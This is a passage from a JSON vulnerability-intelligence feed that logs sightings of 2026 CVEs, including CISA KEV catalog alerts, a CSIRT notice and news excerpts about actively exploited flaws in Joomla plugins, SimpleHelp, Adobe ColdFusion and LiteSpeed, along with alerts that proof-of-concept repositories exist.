"published-proof-of-concept", "source": "Telegram/voXjSXn9jH4Uuz8v6oWgQ6wY3LHxoNXW8ZACcBHLR0PcWkA", "content": "", "creation_timestamp": "2026-09-16T00:00:30.540660Z"}, {"uuid": "b3a6355d-50f5-4b2c-8d39-d6ffee7950f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "published-proof-of-concept", "source": "Telegram/voXjSXn9jH4Uuz8v6oWgQ6wY3LHxoNXW8ZACcBHLR0PcWkA", "content": "", "creation_timestamp": "2026-09-16T00:00:30.594017Z"}, {"uuid": "66e99a53-bc2e-4128-9a55-fe07b824848a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/102353", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48907\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a NONAME-ELV\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-15 05:54:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-16T00:00:31.949079Z"}, {"uuid": "5104b4a4-86e0-458c-b45c-77dffd9041bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://www.acn.gov.it/portale/w/joomla-jce-rilevato-sfruttamento-cve-2026-48907-al-fine-di-distribuire-webshell-utilizzate-per-defacement", "content": "Questo CSIRT ha recentemente registrato, nel contesto nazionale, un aumento significativo di sfruttamenti attivi della CVE-2026-48907 \u2013 gi\u00e0 sanata dal vendor e trattata nell\u2019ambito dell\u2019AL02/260615/CSIRT-ITA \u2013 ai danni di server web esposti. Tale vulnerabilit\u00e0 interessa il plugin Joomla Content Editor (JCE), estensione per il noto Content Management System (CMS) Joomla!.", "creation_timestamp": "2026-09-17T16:01:18.323515Z"}, {"uuid": "ea778bb6-1db8-4dcf-9df7-3ff564f59fd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/102607", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48908\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a winrarzipsexploit\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-17 17:50:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-48908 SP Page Builder (Joomla) unauth RCE suite \u2014 authorized testing only\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-17T22:00:04.705992Z"}, {"uuid": "2f48450d-6201-4d4e-ad22-cf864021eda7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "Telegram/sREDAe6BOKB9_RGSs3URiy3vPAWvfip9ao8nlCE9pHlx5C0", "content": "", "creation_timestamp": "2026-09-18T04:00:05.336638Z"}, {"uuid": "735148f5-a1a8-492f-b3f2-d07dc15df7da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "exploited", "source": "https://t.me/VulnerabilityNews/43212", "content": "Critical SimpleHelp flaw exploited to deploy new stealer malware\n\nHackers are exploiting a recently disclosed critical vulnerability (CVE-2026-48558) in SimpleHelp to deploy Djinn Stealer, a previously undocumented cross-platform information stealer targeting Windows, macOS, and Linux. [...]\nhttps://www.bleepingcomputer.com/news/security/hackers-exploit-critical-simplehelp-flaw-deploy-new-djinn-infostealer-taskweaver-malware/", "creation_timestamp": "2026-09-18T05:00:04.997710Z"}, {"uuid": "da2c477d-54e7-4669-9156-5d3b86f2df2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "exploited", "source": "https://t.me/VulnerabilityNews/43225", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\n\nCISA has added one new vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\nCVE-2026-48558 SimpleHelp Authentication Bypass Vulnerability\nThis type of vulnerability is a frequent attack vector for malicious cyber actors and poses significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 26-04: Prioritizing Security Updates Based on Risk establishes vulnerability management requirements for Federal Civilian Executive Branch (FCEB) agencies. BOD 26-04 reinforces the importance of the KEV Catalog and requires federal agencies to prioritize rapid remediation of high-risk vulnerabilities, specifically those identified by Common Vulnerabilities and Exposures (CVEs) listed in CISA\u2019s KEV Catalog on publicly exposed assets that grant total control of the asset post-exploitation, while deferring action for lower-risk vulnerabilities. BOD 26-04 further establishes basic expectations for when agencies must check whether threat actors compromised the system before the patch was applied.\nWhile BOD 26-04 applies only to FCEB agencies, CISA encourages all organizations to adopt risk-based vulnerability management and prioritize remediation of KEV Catalog vulnerabilities. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nAware of an exploited vulnerability not currently listed in the KEV Catalog? Submit it for potential addition through CISA\u2019s KEV Nomination Form. Potential KEV additions must have a CVE ID, evidence of exploitation, and clear mitigation guidance.\nhttps://www.cisa.gov/news-events/alerts/2026/06/29/cisa-adds-one-known-exploited-vulnerability-catalog", "creation_timestamp": "2026-09-18T05:00:04.926011Z"}, {"uuid": "8e007574-0fba-4852-9060-709bc0f766a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://t.me/VulnerabilityNews/42685", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\n\nCISA has added\u00a0one\u00a0new vulnerability\u00a0to its\u00a0Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\u00a0\nCVE-2026-48172\u00a0LiteSpeed\u00a0cPanel Plugin Privilege Escalation Vulnerability\nThis\u00a0type of vulnerability is a\u00a0frequent attack vector for malicious cyber actors and poses\u00a0significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities\u00a0established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the\u00a0BOD 22-01 Fact Sheet\u00a0for more information.\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing\u00a0timely\u00a0remediation of\u00a0KEV Catalog vulnerabilities\u00a0as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the\u00a0specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/05/26/cisa-adds-one-known-exploited-vulnerability-catalog", "creation_timestamp": "2026-09-18T05:00:05.732496Z"}, {"uuid": "81e37462-edf1-4bc0-8524-c7aa0e89a683", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "https://t.me/VulnerabilityNews/42704", "content": "CISA Adds Three Known Exploited Vulnerabilities to Catalog\n\nCISA has added\u00a0three\u00a0new vulnerabilities\u00a0to its\u00a0Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\nCVE-2026-8398\u00a0Daemon Tools Lite Embedded Malicious Code Vulnerability\nCVE-2026-45321\u00a0TanStack\u00a0Unspecified Vulnerability\nCVE-2026-48027\u00a0Nx Console Embedded Malicious Code Vulnerability\nThese\u00a0types\u00a0of vulnerabilities are\u00a0frequent attack vectors\u00a0for malicious cyber actors and pose significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities\u00a0established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the\u00a0BOD 22-01 Fact Sheet\u00a0for more information.\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing\u00a0timely\u00a0remediation of\u00a0KEV Catalog vulnerabilities\u00a0as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the\u00a0specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/05/27/cisa-adds-three-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-09-18T05:00:05.878939Z"}, {"uuid": "f85404aa-820b-4dae-a68c-87043d85d3c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://t.me/VulnerabilityNews/42634", "content": "LiteSpeed cPanel Plugin CVE-2026-48172 Exploited to Run Scripts as Root\n\nA maximum-severity security vulnerability impacting LiteSpeed User-End cPanel Plugin has come under active exploitation in the wild.\n\nThe flaw, tracked as CVE-2026-48172 (CVSS score: 10.0), relates to an instance of incorrect privilege assignment that an attacker could abuse to run arbitrary scripts with elevated permissions.\n\n\"Any cPanel user (including an attacker or a compromised account) may\nhttps://thehackernews.com/2026/05/litespeed-cpanel-plugin-cve-2026-48172.html", "creation_timestamp": "2026-09-18T05:00:06.696747Z"}, {"uuid": "40874a7b-92cd-479d-ba9d-be77b9c6f267", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "published-proof-of-concept", "source": "https://t.me/VulnerabilityNews/43768", "content": "Adobe Campaign Classic CVSS 10.0 Flaw Could Run Code Without User Interaction\n\nAdobe has released security updates to address a maximum-severity security flaw in Campaign Classic (ACC), its enterprise-focused marketing automation platform, that could result in arbitrary code execution.\n\nThe vulnerability, tracked as CVE-2026-48449, carries a severity score of 10.0 on the CVSS scoring system.\n\nIt has been described as a case of incorrect authorization that could result in\nhttps://thehackernews.com/2026/08/adobe-campaign-classic-cvss-100-flaw.html", "creation_timestamp": "2026-09-18T08:00:06.416046Z"}, {"uuid": "cf551551-ff86-44ef-ac58-add80bc965d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://t.me/VulnerabilityNews/43355", "content": "CISA Adds Three Known Exploited Vulnerabilities to Catalog\n\nCISA has added three new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\nCVE-2026-48908 JoomShaper SP Page Builder Unrestricted Upload of File with Dangerous Type Vulnerability\nCVE-2026-55255 Langflow Authorization Bypass Through User-Controlled Key Vulnerability \u00a0\nCVE-2026-56290 Joomlack Page Builder Improper Access Control Vulnerability\nThese types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 26-04: Prioritizing Security Updates Based on Risk establishes vulnerability management requirements for Federal Civilian Executive Branch (FCEB) agencies. BOD 26-04 reinforces the importance of the KEV Catalog and requires federal agencies to prioritize rapid remediation of high-risk vulnerabilities, specifically those identified by Common Vulnerabilities and Exposures (CVEs) listed in CISA\u2019s KEV Catalog on publicly exposed assets that grant total control of the asset post-exploitation, while deferring action for lower-risk vulnerabilities. BOD 26-04 further establishes basic expectations for when agencies must check whether threat actors compromised the system before the patch was applied.\nWhile BOD 26-04 applies only to FCEB agencies, CISA encourages all organizations to adopt risk-based vulnerability management and prioritize remediation of KEV Catalog vulnerabilities. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nAware of an exploited vulnerability not currently listed in the KEV Catalog? Submit it for potential addition through CISA\u2019s KEV Nomination Form. Potential KEV additions must have a CVE ID, evidence of exploitation, and clear mitigation guidance.\nhttps://www.cisa.gov/news-events/alerts/2026/07/07/cisa-adds-three-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-09-18T08:00:07.083451Z"}, {"uuid": "ae6018e7-5c9a-422e-9519-0d0b25c421e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://t.me/VulnerabilityNews/43320", "content": "Max severity Adobe ColdFusion flaw now exploited in attacks\n\nAttackers are now exploiting a maximum-severity Adobe ColdFusion vulnerability tracked as CVE-2026-48282, according to vulnerability\u00a0intelligence\u00a0company KEVIntel. [...]\nhttps://www.bleepingcomputer.com/news/security/max-severity-adobe-coldfusion-flaw-now-exploited-in-attacks/", "creation_timestamp": "2026-09-18T08:00:06.877938Z"}, {"uuid": "f481e790-3d70-4d0a-b7a4-b0e607a5de2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://t.me/VulnerabilityNews/43354", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\n\nCISA has added one new vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\nCVE-2026-48282 Adobe ColdFusion Path Traversal Vulnerability\nThis type of vulnerability is a frequent attack vector for malicious cyber actors and poses significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 26-04: Prioritizing Security Updates Based on Risk establishes vulnerability management requirements for Federal Civilian Executive Branch (FCEB) agencies. BOD 26-04 reinforces the importance of the KEV Catalog and requires federal agencies to prioritize rapid remediation of high-risk vulnerabilities, specifically those identified by Common Vulnerabilities and Exposures (CVEs) listed in CISA\u2019s KEV Catalog on publicly exposed assets that grant total control of the asset post-exploitation, while deferring action for lower-risk vulnerabilities. BOD 26-04 further establishes basic expectations for when agencies must check whether threat actors compromised the system before the patch was applied.\nWhile BOD 26-04 applies only to FCEB agencies, CISA encourages all organizations to adopt risk-based vulnerability management and prioritize remediation of KEV Catalog vulnerabilities. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nAware of an exploited vulnerability not currently listed in the KEV Catalog? Submit it for potential addition through CISA\u2019s KEV Nomination Form. Potential KEV additions must have a CVE ID, evidence of exploitation, and clear mitigation guidance.\nhttps://www.cisa.gov/news-events/alerts/2026/07/07/cisa-adds-one-known-exploited-vulnerability-catalog", "creation_timestamp": "2026-09-18T08:00:07.000932Z"}, {"uuid": "9d339280-5fa1-4965-ba6b-cd23af7b707d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://t.me/VulnerabilityNews/43349", "content": "Critical Adobe ColdFusion Vulnerability Exploited in Attacks\n\nHackers are exploiting a recently patched critical vulnerability (CVE-2026-48282) in Adobe ColdFusion that carries a CVSS score of 10/10.\nThe post Critical Adobe ColdFusion Vulnerability Exploited in Attacks appeared first on SecurityWeek.\nhttps://www.securityweek.com/critical-adobe-coldfusion-vulnerability-exploited-in-attacks/", "creation_timestamp": "2026-09-18T08:00:06.956477Z"}, {"uuid": "30e1e820-937b-4dd4-9f86-934d5f23137f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://t.me/VulnerabilityNews/43420", "content": "CISA Adds Two Known Exploited Vulnerabilities to Catalog \n\nCISA has added two new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\nCVE-2026-48939 iCagenda Unrestricted Upload of File with Dangerous Type Vulnerability\nCVE-2026-56291 Balbooa Forms Unrestricted Upload of File with Dangerous Type Vulnerability\nThese types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 26-04: Prioritizing Security Updates Based on Risk establishes vulnerability management requirements for Federal Civilian Executive Branch (FCEB) agencies. BOD 26-04 reinforces the importance of the KEV Catalog and requires federal agencies to prioritize rapid remediation of high-risk vulnerabilities, specifically those identified by Common Vulnerabilities and Exposures (CVEs) listed in CISA\u2019s KEV Catalog on publicly exposed assets that grant total control of the asset post-exploitation, while deferring action for lower-risk vulnerabilities. BOD 26-04 further establishes basic expectations for when agencies must check whether threat actors compromised the system before the patch was applied.\nWhile BOD 26-04 applies only to FCEB agencies, CISA encourages all organizations to adopt risk-based vulnerability management and prioritize remediation of KEV Catalog vulnerabilities. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nAware of an exploited vulnerability not currently listed in the KEV Catalog? Submit it for potential addition through CISA\u2019s KEV Nomination Form. Potential KEV additions must have a CVE ID, evidence of exploitation, and clear mitigation guidance.\nhttps://www.cisa.gov/news-events/alerts/2026/07/10/cisa-adds-two-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-09-18T08:00:07.253014Z"}, {"uuid": "c14ff863-85ee-4653-8b60-a925892eeb66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://t.me/VulnerabilityNews/44290", "content": "CISA Adds Seven Known Exploited Vulnerabilities to Catalog\n\nCISA has added seven new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation. \u00a0\nCVE-2026-9586 Sangoma Switchvox SQL Injection Vulnerability\u00a0\nCVE-2026-48710 Kludex Starlette HTTP Request/Response Smuggling Vulnerability\u00a0\nCVE-2026-49869 Kestra OSS OS Command Injection Vulnerability\u00a0\nCVE-2026-59822 BerriAI LiteLLM Improper Authentication Vulnerability\u00a0\nCVE-2026-82329 JFrog Artifactory Improper Authentication Vulnerability\u00a0\nCVE-2026-83548 SonicWall SMA1000 Appliances Server-Side Request Forgery Vulnerability\u00a0\nCVE-2026-83549 SonicWall SMA1000 Appliances OS Command Injection Vulnerability\u00a0\nThese types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risks to the federal enterprise.\u00a0\nBinding Operational Directive (BOD) 26-04: Prioritizing Security Updates Based on Risk establishes vulnerability management requirements for Federal Civilian Executive Branch (FCEB) agencies. BOD 26-04 reinforces the importance of the KEV Catalog and requires federal agencies to prioritize rapid remediation of high-risk vulnerabilities, specifically those identified by Common Vulnerabilities and Exposures (CVEs) listed in CISA\u2019s KEV Catalog on publicly exposed assets that grant total control of the asset post-exploitation, while deferring action for lower-risk vulnerabilities. BOD 26-04 further establishes basic expectations for when agencies must check whether threat actors compromised the system before the patch was applied.\u00a0\nWhile BOD 26-04 applies only to FCEB agencies, CISA encourages all organizations to adopt risk-based vulnerability management and prioritize remediation of KEV Catalog vulnerabilities. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\u00a0\nAware of an exploited vulnerability not currently listed in the KEV Catalog? Submit it for potential addition through CISA\u2019s KEV Nomination Form. Potential KEV additions must have a CVE ID, evidence of exploitation, and clear mitigation guidance.\nhttps://www.cisa.gov/news-events/alerts/2026/09/02/cisa-adds-seven-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-09-18T12:00:04.488340Z"}, {"uuid": "5440f51f-b6dc-456d-a2a2-a5f91abc3a76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "exploited", "source": "https://t.me/VulnerabilityNews/42634", "content": "LiteSpeed cPanel Plugin CVE-2026-48172 Exploited to Run Scripts as Root\n\nA maximum-severity security vulnerability impacting LiteSpeed User-End cPanel Plugin has come under active exploitation in the wild.\n\nThe flaw, tracked as CVE-2026-48172 (CVSS score: 10.0), relates to an instance of incorrect privilege assignment that an attacker could abuse to run arbitrary scripts with elevated permissions.\n\n\"Any cPanel user (including an attacker or a compromised account) may\nhttps://thehackernews.com/2026/05/litespeed-cpanel-plugin-cve-2026-48172.html", "creation_timestamp": "2026-09-19T00:00:45.135679Z"}, {"uuid": "3dee80b3-c130-47f8-8f57-c5146caf15ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "exploited", "source": "https://t.me/VulnerabilityNews/43320", "content": "Max severity Adobe ColdFusion flaw now exploited in attacks\n\nAttackers are now exploiting a maximum-severity Adobe ColdFusion vulnerability tracked as CVE-2026-48282, according to vulnerability\u00a0intelligence\u00a0company KEVIntel. [...]\nhttps://www.bleepingcomputer.com/news/security/max-severity-adobe-coldfusion-flaw-now-exploited-in-attacks/", "creation_timestamp": "2026-09-19T00:00:42.560108Z"}, {"uuid": "0f9b427c-81eb-4ad1-9bf7-a919fce9d96e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "exploited", "source": "https://t.me/VulnerabilityNews/43420", "content": "CISA Adds Two Known Exploited Vulnerabilities to Catalog \n\nCISA has added two new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\nCVE-2026-48939 iCagenda Unrestricted Upload of File with Dangerous Type Vulnerability\nCVE-2026-56291 Balbooa Forms Unrestricted Upload of File with Dangerous Type Vulnerability\nThese types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 26-04: Prioritizing Security Updates Based on Risk establishes vulnerability management requirements for Federal Civilian Executive Branch (FCEB) agencies. BOD 26-04 reinforces the importance of the KEV Catalog and requires federal agencies to prioritize rapid remediation of high-risk vulnerabilities, specifically those identified by Common Vulnerabilities and Exposures (CVEs) listed in CISA\u2019s KEV Catalog on publicly exposed assets that grant total control of the asset post-exploitation, while deferring action for lower-risk vulnerabilities. BOD 26-04 further establishes basic expectations for when agencies must check whether threat actors compromised the system before the patch was applied.\nWhile BOD 26-04 applies only to FCEB agencies, CISA encourages all organizations to adopt risk-based vulnerability management and prioritize remediation of KEV Catalog vulnerabilities. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nAware of an exploited vulnerability not currently listed in the KEV Catalog? Submit it for potential addition through CISA\u2019s KEV Nomination Form. Potential KEV additions must have a CVE ID, evidence of exploitation, and clear mitigation guidance.\nhttps://www.cisa.gov/news-events/alerts/2026/07/10/cisa-adds-two-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-09-19T00:00:42.131301Z"}, {"uuid": "3acf8eb1-bfbd-4b76-a835-22d5dc487fa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "exploited", "source": "https://t.me/VulnerabilityNews/43354", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\n\nCISA has added one new vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\nCVE-2026-48282 Adobe ColdFusion Path Traversal Vulnerability\nThis type of vulnerability is a frequent attack vector for malicious cyber actors and poses significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 26-04: Prioritizing Security Updates Based on Risk establishes vulnerability management requirements for Federal Civilian Executive Branch (FCEB) agencies. BOD 26-04 reinforces the importance of the KEV Catalog and requires federal agencies to prioritize rapid remediation of high-risk vulnerabilities, specifically those identified by Common Vulnerabilities and Exposures (CVEs) listed in CISA\u2019s KEV Catalog on publicly exposed assets that grant total control of the asset post-exploitation, while deferring action for lower-risk vulnerabilities. BOD 26-04 further establishes basic expectations for when agencies must check whether threat actors compromised the system before the patch was applied.\nWhile BOD 26-04 applies only to FCEB agencies, CISA encourages all organizations to adopt risk-based vulnerability management and prioritize remediation of KEV Catalog vulnerabilities. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nAware of an exploited vulnerability not currently listed in the KEV Catalog? Submit it for potential addition through CISA\u2019s KEV Nomination Form. Potential KEV additions must have a CVE ID, evidence of exploitation, and clear mitigation guidance.\nhttps://www.cisa.gov/news-events/alerts/2026/07/07/cisa-adds-one-known-exploited-vulnerability-catalog", "creation_timestamp": "2026-09-19T00:00:42.412055Z"}, {"uuid": "8ab384c6-2f24-4916-8b23-d7b17aea99b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "exploited", "source": "https://t.me/VulnerabilityNews/43349", "content": "Critical Adobe ColdFusion Vulnerability Exploited in Attacks\n\nHackers are exploiting a recently patched critical vulnerability (CVE-2026-48282) in Adobe ColdFusion that carries a CVSS score of 10/10.\nThe post Critical Adobe ColdFusion Vulnerability Exploited in Attacks appeared first on SecurityWeek.\nhttps://www.securityweek.com/critical-adobe-coldfusion-vulnerability-exploited-in-attacks/", "creation_timestamp": "2026-09-19T00:00:42.460336Z"}, {"uuid": "9482fdac-e671-4451-abe1-8ff8990999a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "exploited", "source": "https://t.me/VulnerabilityNews/42704", "content": "CISA Adds Three Known Exploited Vulnerabilities to Catalog\n\nCISA has added\u00a0three\u00a0new vulnerabilities\u00a0to its\u00a0Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\nCVE-2026-8398\u00a0Daemon Tools Lite Embedded Malicious Code Vulnerability\nCVE-2026-45321\u00a0TanStack\u00a0Unspecified Vulnerability\nCVE-2026-48027\u00a0Nx Console Embedded Malicious Code Vulnerability\nThese\u00a0types\u00a0of vulnerabilities are\u00a0frequent attack vectors\u00a0for malicious cyber actors and pose significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities\u00a0established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the\u00a0BOD 22-01 Fact Sheet\u00a0for more information.\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing\u00a0timely\u00a0remediation of\u00a0KEV Catalog vulnerabilities\u00a0as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the\u00a0specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/05/27/cisa-adds-three-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-09-19T00:00:47.031165Z"}, {"uuid": "d051d06f-9448-44dc-a838-eacbbe680342", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "exploited", "source": "https://t.me/VulnerabilityNews/42685", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\n\nCISA has added\u00a0one\u00a0new vulnerability\u00a0to its\u00a0Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\u00a0\nCVE-2026-48172\u00a0LiteSpeed\u00a0cPanel Plugin Privilege Escalation Vulnerability\nThis\u00a0type of vulnerability is a\u00a0frequent attack vector for malicious cyber actors and poses\u00a0significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities\u00a0established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the\u00a0BOD 22-01 